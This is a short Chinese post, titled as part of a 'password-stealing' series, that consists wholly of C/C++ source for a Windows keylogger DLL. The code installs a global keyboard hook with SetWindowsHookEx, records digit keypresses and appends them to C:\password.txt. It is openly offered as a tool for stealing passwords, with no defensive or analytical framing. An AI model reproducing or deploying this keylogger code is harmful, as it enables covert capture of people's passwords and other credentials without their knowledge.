盗密码系列之键盘钩子VC版

#include"dll.h" static HHOOK hhook; static HINSTANCE hMod; LRESULT CALLBACK KeyProc(int nCode,WPARAM wParam,LPARAM lParam); void read(char str); BOOL _stdcall DllMain(HINSTANCE hInst,DWORD reason,LPVOID reserve) { if(reason==DLL_PROCESS_ATTACH) { hMod=hInst; } return TRUE; } LRESULT CALLBACK KeyProc(int nCode,WPARAM wParam,LPARAM lParam) { char str; if(nCode==HC_ACTION&&lParam>0) { //主键盘上数字键 if(wParam==0x30) { str='0'; read(str); } if(wParam==0x31) { str='1'; read(str); } if(wParam==0x32) { str='2'; read(str); } if(wParam==0x33) { str='3'; read(str); } if(wParam==0x34) { str='4'; read(str); } if(wParam==0x35) { str='5'; read(str); } if(wParam==0x36) { str='6'; read(str); } if(wParam==0x37) { str='7'; read(str); } if(wParam==0x38) { str='8'; read(str); } if(wParam==0x39) { str='9'; read(str); } } return CallNextHookEx(hhook,nCode,wParam,lParam); } extern "C" __declspec(dllexport) int Install() { if(!(hhook=SetWindowsHookEx(WH_KEYBOARD,KeyProc,hMod,NULL))) { return 0; } return 1; } extern "C" __declspec(dllexport) void Remove() { UnhookWindowsHookEx(hhook); } void read(char str) { FILE *fp; fp=fopen("C:\\password.txt","a+"); fputc(str,fp); fclose(fp); }